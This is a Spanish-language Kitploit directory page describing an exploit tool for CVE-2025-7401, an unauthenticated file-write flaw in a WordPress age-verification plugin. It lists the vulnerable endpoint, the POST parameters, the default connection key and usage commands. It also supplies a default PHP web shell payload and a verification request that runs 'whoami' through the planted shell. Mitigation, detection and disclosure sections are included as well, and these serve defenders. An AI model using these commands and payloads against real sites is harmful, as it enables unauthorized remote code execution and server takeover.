Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-7401 — Premium Age Verification / Restriction for WordPress <= 3.0.2 - Lectura y Escritura Arbitraria de Archivos sin Autenticación | Kitploit
Herramientas/GitHubGitHub/nxploited/cve-2025-7401
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebExfiltración de DatosRecopilación de InformaciónPruebas de PenetraciónRed Teaming
GitHubnxploited/cve-2025-7401

CVE-2025-7401

Premium Age Verification / Restriction for WordPress <= 3.0.2 - Lectura y Escritura Arbitraria de Archivos sin Autenticación

Ver Repositorio
21hace 10 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-7401

Premium Age Verification / Restriction for WordPress <= 3.0.2 - Lectura y escritura arbitraria de archivos no autenticada

🧾 Premium Age Verification / Restriction for WordPress <= 3.0.2 — Lectura y escritura arbitraria de archivos no autenticada

📝 Descripción

El plugin "Premium Age Verification / Restriction for WordPress" contiene un punto final de soporte remoto insuficientemente protegido en remote_tunnel.php. En las versiones afectadas hasta la 3.0.2 inclusive, este punto final puede ser abusado para lectura y escritura arbitraria de archivos no autenticada. La explotación exitosa puede exponer información sensible o permitir la ejecución remota de código.

  • CVE: CVE-2025-7401
  • CVSS: 9.8 (Crítico)

⚙️ Resumen del Script

  • Nombre del script: CVE-2025-7401.py
  • Propósito: Una herramienta de prueba para profesionales de seguridad autorizados para validar el comportamiento de escritura de archivos en el punto final vulnerable del plugin. El script normaliza el objetivo, codifica un fragmento PHP proporcionado por el usuario, envía un POST al punto final vulnerable para intentar escribir un archivo, y opcionalmente verifica la ruta del archivo accesible web.

▶️ Ejemplos de Uso Rápido

root@kitploit:~
# Básico (usa clave de conexión por defecto y shell PHP por defecto)
python CVE-2025-7401.py -u example.com

# Usar HTTPS y clave de conexión personalizada, omitir verificación
python CVE-2025-7401.py -u https://target.example -key YOUR_KEY --no-verify

# Payload PHP personalizado (solo pruebas autorizadas)
python CVE-2025-7401.py -u target.com -shell '<?= system($_GET["cmd"]); ?>'

🧭 Opciones de Línea de Comandos


📋 Comportamiento Detallado del Script (Paso a paso)


📌 Salidas Esperadas y Su Significado


🛡️ Mitigación y Recomendaciones

  • Actualice el plugin a una versión parcheada proporcionada por el proveedor de inmediato.
  • Restrinja el acceso a las funciones de soporte remoto con autenticación y comprobaciones de autorización adecuadas.
  • Sanitice y valide todas las rutas de archivo y contenido de archivo proporcionadas por el usuario en el lado del servidor.
  • Aplique permisos estrictos del sistema de archivos que impidan que el usuario web cree archivos ejecutables en la raíz web.
  • Implemente reglas WAF para detectar y bloquear solicitudes sospechosas a remote_tunnel.php.

🔎 Detección y Análisis Forense

  • Inspeccione los registros del servidor web en busca de solicitudes POST a /wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php con parámetros: action=save_file, file, file_content.
  • Busque en el directorio del plugin archivos inesperados como remote_init.php.
  • Busque payloads codificados en Base64 en los cuerpos POST.
  • Correlacione las marcas de tiempo de los cambios de archivo con solicitudes sospechosas.

🤝 Divulgación Responsable

Si descubre esta vulnerabilidad en infraestructura de terceros:

  • NO explote ni altere sistemas de producción.
  • Contacte al propietario del sitio o al proveedor del plugin de forma privada y segura.
  • Proporcione pasos reproducibles al proveedor y permita un tiempo razonable para la remediación antes de cualquier divulgación pública.

⚖️ Aviso Legal y de Seguridad

El uso no autorizado de herramientas de prueba de vulnerabilidades es ilegal en muchas jurisdicciones. Este repositorio y script están destinados únicamente para investigación defensiva, pruebas autorizadas y divulgación coordinada de vulnerabilidades. Obtenga siempre permiso explícito por escrito antes de probar sistemas que no posea.


❗ Descargo de Responsabilidad

El autor y los colaboradores no aceptan responsabilidad alguna por el mal uso de la información o herramientas. Utilice este material solo dentro de los límites legales y éticos.


Por: Nxploited ( Khaled Alenazi )

Descargar herramienta
BanderaTipoPor DefectoDescripción
-u, --urlstringrequeridoDominio objetivo o URL parcial. El script agregará el punto final del plugin cuando sea necesario. Ejemplos: example.com, https://example.com, example.com/wp-content/plugins/age-restriction/.
-key, --keystring330489965d8266a739442ef890f57805Clave de conexión utilizada por el punto final de soporte remoto. Sobrescriba para objetivos de laboratorio si es necesario.
-shell, --shellstring<?= system($_GET["cmd"]); ?>Fragmento PHP a inyectar como contenido del archivo. Solo cambie para pruebas autorizadas.
--no-verifyflagfalseSi está presente, el script no realizará la verificación GET opcional del archivo escrito.
PasoAcciónDetalles
1Normalización de entradaAcepta la entrada del usuario (dominio o ruta parcial). Asegura el esquema (http:// si falta), elimina barras duplicadas y agrega /wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php si el punto final no está presente.
2Construcción de cabecerasConstruye cabeceras HTTP realistas (selección rotativa de user-agent, Accept, Referer, Content-Type).
3Codificación del payloadCodifica en Base64 el fragmento PHP proporcionado y lo coloca en file_content.
4Solicitud POST de explotaciónEnvía connection_key, action=save_file, file (ruta del servidor) y file_content al punto final normalizado remote_tunnel.php mediante application/x-www-form-urlencoded.
5Análisis de respuestaIntenta analizar JSON del cuerpo de la respuesta. Si existe JSON, imprime status y file_path; de lo contrario, imprime la respuesta sin procesar limpia.
6Verificación (opcional)Intenta un GET a /wp-content/plugins/age-restriction/modules/remote_support/remote_init.php?cmd=whoami para verificar si el archivo inyectado es accesible y devuelve contenido. Opcional mediante --no-verify.
7InformeImprime un informe estructurado y legible que incluye el punto final utilizado, estado HTTP, JSON analizado (si lo hay), URL de shell esperada y salida de verificación truncada (si es exitosa).
Campo de SalidaSignificadoEjemplo
Punto final objetivoURL normalizada final contactada (ruta completa a remote_tunnel.php).http://example.com/wp-content/.../remote_tunnel.php
Código de Estado HTTPCódigo de respuesta HTTP de la solicitud POST. 200 a menudo indica que la solicitud fue procesada.200
Estado JSON de respuestaSi el punto final devuelve JSON, el campo status reporta éxito/fallo.valid
Ruta de archivo JSON de respuestaRuta del lado del servidor devuelta por el punto final que muestra dónde escribió el archivo (informativo)./var/www/html/wp-content/.../remote_init.php
Respuesta sin procesarCuerpo de respuesta no JSON (limpiado) como avisos o mensajes PHP.Notice: ...
URL de shell (esperada)La URL pública donde el archivo inyectado sería accesible. Úselo solo para verificación en pruebas autorizadas.http://example.com/wp-content/.../remote_init.php?cmd=whoami
Estado HTTP de verificaciónEstado HTTP de la verificación GET opcional.200
Cuerpo de verificación (truncado)Primeros N caracteres del cuerpo de respuesta de verificación (útil para ver la salida del comando).www-data